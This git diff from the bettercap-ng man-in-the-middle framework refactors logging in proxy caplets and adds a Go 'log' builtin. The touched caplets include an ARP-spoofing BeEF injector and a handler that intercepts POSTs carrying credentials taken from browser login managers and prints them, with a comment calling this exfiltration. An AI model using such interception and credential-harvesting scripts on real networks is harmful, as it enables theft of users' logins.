diff --git a/caplets/beef-inject.js b/caplets/beef-inject.js index d06001c0..ef5499ad 100644 --- a/caplets/beef-inject.js +++ b/caplets/beef-inject.js @@ -1,6 +1,6 @@ function onLoad() { - console.log( "BeefInject loaded." ); - console.log("targets: " + env['arp.spoof.targets']); + log( "BeefInject loaded." ); + log("targets: " + env['arp.spoof.targets']); } function onResponse(req, res) { diff --git a/caplets/http-req-dump.js b/caplets/http-req-dump.js index 356eb701..184060ec 100644 --- a/caplets/http-req-dump.js +++ b/caplets/http-req-dump.js @@ -1,5 +1,4 @@ var RESET = "\033[0m"; -var log = console.log; function R(s) { return "\033[31m" + s + RESET; @@ -119,7 +118,7 @@ function dumpRaw(req) { } function onRequest(req, res) { - log( BOLD(req.Client), ">", B(req.Method), req.Hostname + req.Path + ( req.Query ? "?" + req.Query : '') ); + log( BOLD(req.Client), " > ", B(req.Method), req.Hostname + req.Path + ( req.Query ? "?" + req.Query : '') ); dumpHeaders(req); diff --git a/caplets/login-man-abuse.js b/caplets/login-man-abuse.js index 08d8741b..9cf09353 100644 --- a/caplets/login-man-abuse.js +++ b/caplets/login-man-abuse.js @@ -12,14 +12,14 @@ var AbuserJavascript = ""; function onLoad() { - // console.log( "Loading abuser code from caplets/login-man-abuser.js" ); + // log( "Loading abuser code from caplets/login-man-abuser.js" ); AbuserJavascript = readFile("caplets/login-man-abuser.js") } // here we intercept the ajax POST request with leaked credentials. function onRequest(req, res) { if( req.Method == 'POST' && req.Path == "/login-man-abuser" ) { - console.log( "[LOGIN MANAGER ABUSER]", req.ReadBody() ); + log( "[LOGIN MANAGER ABUSER]\n", req.ReadBody() ); // this was just a fake request we needed to exfiltrate // credentials to us, drop the connection with an empty 200. res.Status = 200; diff --git a/modules/http_proxy_script_builtins.go b/modules/http_proxy_script_builtins.go index 48bd7a60..3b1f5ea5 100644 --- a/modules/http_proxy_script_builtins.go +++ b/modules/http_proxy_script_builtins.go @@ -1,6 +1,7 @@ package modules import ( + "fmt" "io/ioutil" "github.com/evilsocket/bettercap-ng/log" @@ -26,5 +27,15 @@ func (s *ProxyScript) defineBuiltins() error { return v }) + s.VM.Set("log", func(call otto.FunctionCall) otto.Value { + for _, v := range call.ArgumentList { + fmt.Printf("%s", v.String()) + } + fmt.Println() + s.sess.Input.Refresh() + + return otto.Value{} + }) + return nil }